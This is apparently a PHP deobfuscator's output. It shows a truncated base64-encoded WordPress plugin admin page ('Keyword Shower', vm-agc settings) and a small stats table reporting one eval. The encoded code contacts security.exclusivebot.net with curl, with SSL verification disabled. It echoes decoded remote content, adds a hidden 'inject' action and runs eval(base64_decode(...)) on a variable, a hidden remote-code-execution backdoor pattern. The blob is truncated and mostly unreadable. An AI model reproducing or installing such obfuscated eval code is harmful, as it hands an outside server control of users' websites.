jNOSlJVNVdWV3Q0VUZWR1VtWldWazVHVld0R1NGSlZOVlZNUTBGdVVsaG9hbVJZVG5Ca2JWWkRWREZSZGsxVE5IZEtlV3MzUkZGd2FtUllTbk5ZTTA1c1pFYzVkMlJEWjJ0Wk1tZHpTVVZPVmxWcmVGQlZSbEptVld0V1ZWWldTazlXUmtwQ1ZHeE9SMUpXU1hOSlNGSjVaRmRWWjB0VWMwNURiVTR4WTIxNFptTXlWakJpTTBJd1MwTlNhbUZEZDJkUk1WWlRWRVU1VVZaR09WUlZNSGhtVm10V1UxTlZXbHBWUlZaR1ZXbDNaMXB0Um5Oak1sVndUM2N3UzBSUmIydGtiWGh5WTNsQk9VbEhUakZqYlhobVdsaG9iRmw1WjJ0Wk1tZHdUM2N3UzFrelZubGlSamxxWWtjNWVscFRaMnRaTW1kd1QzYzlQU2NwS1RzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhV1lnS0NSc2FXTmxibk5sWDJ0bGVWOTJaWEpwWm5rZ1BUMGdKR3hwWTJWdWMyVmtJQ1ltSUNSMWNtd2dQVDBnSkdSdmJXRnBibDkyWlhKcFpua2dKaVlnWW1GelpUWTBYMlZ1WTI5a1pTZ2tZWEpuYzJ0ektTQTlQU0FuWVVoU01HTkViM1pNTTA1c1dUTldlV0ZZVWpWTWJWWTBXVEo0TVdNeWJESmFWMHAyWkVNMWRWcFlVWFphYld4eldsTTFkMkZJUVM5WldFcHVZM294TWxwWVNuQmFibXhtWVROTmJWcEhPWFJaVjJ4MVVGaHphMlJZU25ObVVUMDlKeWtOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2V3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1pXTm9ieUJpWVhObE5qUmZaR1ZqYjJSbEtDUjJiR3R6S1RzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKb2FXUmtaVzRpSUc1aGJXVTlJbUZqZEdsdmJpSWdkbUZzZFdVOUltbHVhbVZqZENJZ0x6NG5PdzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCOVpXeHpaUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIc05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHVmphRzhnSnp4cGJuQjFkQ0J1WVcxbFBTSWlJSFI1Y0dVOUltSjFkSFJ2YmlJZ1kyeGhjM005SW1KMWRIUnZiaTF3Y21sdFlYSjVJaUIyWVd4MVpUMGlUR2x6Wlc1emFTQlVhV1JoYXlCV1lXeHBaQ0lnTHo0Z0p6c05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCOScpKTsNCiAgICAgICAgICAgIGlmICggIiIgPT0gJGxpY2Vuc2VkICkgew0KCQk/Pg0KICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgICAgICAgICAgCXdpbmRvdy5sb2NhdGlvbiA9ICJhZG1pbi5waHA/cGFnZT12bS1hZ2Mtc2V0dGluZ3MiOw0KICAgICAgICAgICAgPC9zY3JpcHQ+DQoJCTw/cGhwIH0gZWxzZWlmKCAkbGljZW5zZV9rZXlfdmVyaWZ5ID09ICRsaWNlbnNlZCAmJiAkdXJsID09ICRkb21haW5fdmVyaWZ5ICkgeyA/Pg0KDQoJCQkJCTxkaXYgY2xhc3M9ImxhcmdlLTggbWVkaXVtLTggY29sdW1ucyI+DQoJCQkJCQk8dWwgY2xhc3M9InRhYnMgdm1hZ2Mtbm9ybWFsaXplIiBkYXRhLXRhYnMgaWQ9ImV4YW1wbGUtdGFicyI+DQoJCQkJCQkJPGxpIGNsYXNzPSJ0YWJzLXRpdGxlIGlzLWFjdGl2ZSI+DQoJCQkJCQkJCTxhIGhyZWY9IiNwYW5lbDEiIGFyaWEtc2VsZWN0ZWQ9InRydWUiPktleXdvcmQgU2hvd3RlcjwvYT4NCgkJCQkJCQk8L2xpPg0KCQkJCQkJPC91bD4NCg0KCQkJCQkJPGRpdiBjbGFzcz0idGFicy1jb250ZW50IiBkYXRhLXRhYnMtY29udGVudD0iZXhhbXBsZS10YWJzIj4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0YWJzLXBhbmVsIGlzLWFjdGl2ZSIgaWQ9InBhbmVsMSI+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InJvdyI+DQoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJtaWRkbGUiIHN0eWxlPSJmb250LXNpemU6IDEycHg7IGZvbnQtd2VpZ2h0OiBib2xkZXIiPktleXdvcmQgTGlzdDwvc3Bhbj4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCQk8dGV4dGFyZWEgbmFtZT0ia2V5d29yZHNob3d0ZXJfa2V5d29yZCIgaWQ9ImtleXdvcmRzaG93dGVyX2tleXdvcmQiIHN0eWxlPSJmb250LXNpemU6MTJweCIgcm93cz0iMTIiPjwvdGV4dGFyZWE+DQoJCQkJCQkJCQkJPHAgc3R5bGU9ImZvbnQtc2l6ZToxMHB4Ij5UbyBTaG93IFJhbmRvbSBTZWFyY2ggcGFzdGUgaXQgdG8geW91ciB3aWRnZXQgPHN0cm9uZz5ba3NfcmFuZG9tX3NlYXJjaCBjb3VudD08c3BhbiBkYXRhLXRvb2x0aXA9InZzbmMwYS10b29sdGlwIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LWxlZnQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246c21hbGwiIHRpdGxlPSIiIHN0eWxlPSJmb250LXNpemU6MTBweCIgYXJpYS1kZXNjcmliZWRieT0iODRvbnk0LXRvb2x0aXAiIGRhdGEteWV0aS1ib3g9Ijg0b255NC10b29sdGlwIiBkYXRhLXRvZ2dsZT0iODRvbnk0LXRvb2x0aXAiIGRhdGEtcmVzaXplPSI4NG9ueTQtdG9vbHRpcCIgZGF0YS1ldmVudHM9InJlc2l6ZSI+MjA8L3NwYW4+XTwvc3Ryb25nPiA8L3A+DQoJCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJPC9kaXY+DQoNCgkJCQkJPGRpdiBjbGFzcz0ibGFyZ2UtNCBtZWRpdW0tNCBjb2x1bW5zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIHZtX2dldF9zaWRlYmFyKCk7Pz4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCgkJCQkJPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGggIWltcG9ydGFudDsiPjwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDIwcHggIWltcG9ydGFudDsgbWFyZ2luLWxlZnQ6IDE1cHggIWltcG9ydGFudDsgbWFyZ2luLWJvdHRvbTogMjBweCAhaW1wb3J0YW50OyI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgIGV2YWwoYmFzZTY0X2RlY29kZSgkYXJnc2FyZ3NrcykpOw0KICAgICAgICAgICAgICAgICAgICA/Pg0KDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCg0KICAgIDw/cGhwIHZtX2dldF9mb290ZXIoKTsgPz4NCg0KCTw/cGhwIH0gZWxzZSB7ID8+DQogICAgCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgCXdpbmRvdy5sb2NhdGlvbiA9ICJhZG1pbi5waHA/cGFnZT12bS1hZ2Mtc2V0dGluZ3MiOw0KICAgICAgICA8L3NjcmlwdD4NCiAgICA8P3BocCB9DQogICAgfQ0KCWFkZF9hY3Rpb24oJ2FkbWluX21lbnUnLCAndm1fYWdjX2FkbWluJyk7'));
?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | cdb783505f70c25478b7ccf394cf326e |
| Eval Count | 1 |
| Decode Time | 253 ms |